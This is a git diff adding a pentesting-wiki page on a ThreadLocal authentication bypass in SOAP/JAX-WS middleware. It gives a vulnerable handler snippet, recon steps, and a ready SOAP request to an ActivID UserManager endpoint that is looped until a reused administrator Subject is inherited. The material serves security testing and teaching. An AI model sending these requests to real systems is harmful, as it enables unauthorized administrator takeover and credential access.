|
| 1 | +# SOAP/JAX-WS ThreadLocal Authentication Bypass |
| 2 | + |
| 3 | +{{#include ../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## TL;DR |
| 6 | + |
| 7 | +- Some middleware chains store the authenticated `Subject`/`Principal` inside a static `ThreadLocal` and only refresh it when a proprietary SOAP header arrives. |
| 8 | +- Because WebLogic/JBoss/GlassFish recycle worker threads, dropping that header causes the last privileged `Subject` processed by the thread to be silently reused. |
| 9 | +- Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context. |
| 10 | + |
| 11 | +## Root Cause |
| 12 | + |
| 13 | +Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request's context survives: |
| 14 | + |
| 15 | +```java |
| 16 | +public boolean handleMessage(SOAPMessageContext ctx) { |
| 17 | + if (!outbound) { |
| 18 | + SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader(); |
| 19 | + SOAPHeaderElement e = findHeader(hdr, subjectName); |
| 20 | + if (e != null) { |
| 21 | + SubjectHolder.setSubject(unmarshal(e)); |
| 22 | + } |
| 23 | + } |
| 24 | + return true; |
| 25 | +} |
| 26 | +``` |
| 27 | + |
| 28 | +## Recon |
| 29 | + |
| 30 | +1. Enumerate the reverse proxy / routing rules to locate hidden SOAP trees that may block `?wsdl` yet accept POSTs (map them alongside the flow in [80,443 - Pentesting Web Methodology](../network-services-pentesting/pentesting-web/README.md)). |
| 31 | +2. Unpack the EAR/WAR/EJB artifacts (`unzip *.ear`) and inspect `application.xml`, `web.xml`, `@WebService` annotations, and handler chains (e.g., `LoginHandlerChain.xml`) to uncover the handler class, SOAP header QName, and the backing EJB names. |
| 32 | +3. If metadata is missing, brute-force likely `ServiceName?wsdl` paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as [Burp Suite Wsdler](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) to generate baseline envelopes. |
| 33 | +4. Review the handler sources for `ThreadLocal` keepers (e.g., `SubjectHolder.setSubject()`) that are never cleared when the authentication header is missing or malformed. |
| 34 | + |
| 35 | +## Exploitation |
| 36 | + |
| 37 | +1. Send a valid request **with** the proprietary header to learn the normal response codes and any error used for invalid tokens. |
| 38 | +2. Resend the same SOAP body while omitting the header. Keep the XML well-formed and respect the required namespaces so the handler exits cleanly. |
| 39 | +3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused `Subject` unlocks protected operations such as user or credential managers. |
| 40 | + |
| 41 | +```http |
| 42 | +POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1 |
| 43 | +Host: target |
| 44 | +Content-Type: text/xml;charset=UTF-8 |
| 45 | +
|
| 46 | +<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" |
| 47 | + xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com"> |
| 48 | + <soapenv:Header/> |
| 49 | + <soapenv:Body> |
| 50 | + <jax:findUserIds> |
| 51 | + <arg0></arg0> |
| 52 | + <arg1>spl*</arg1> |
| 53 | + </jax:findUserIds> |
| 54 | + </soapenv:Body> |
| 55 | +</soapenv:Envelope> |
| 56 | +``` |
| 57 | + |
| 58 | +## Validating the Bug |
| 59 | + |
| 60 | +- Attach JDWP (`-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n`) or similar debugging hooks to watch the `ThreadLocal` contents before and after each call, confirming that an unauthenticated request inherited a prior administrator `Subject`. |
| 61 | + |
| 62 | +## References |
| 63 | + |
| 64 | +- [Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002](https://www.synacktiv.com/publications/activid-administrator-account-takeover-the-story-behind-hid-psa-2025-002.html) |
| 65 | +- [PortSwigger – Wsdler (WSDL parser) extension](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) |
| 66 | + |
| 67 | +{{#include ../banners/hacktricks-training.md}} |
0 commit comments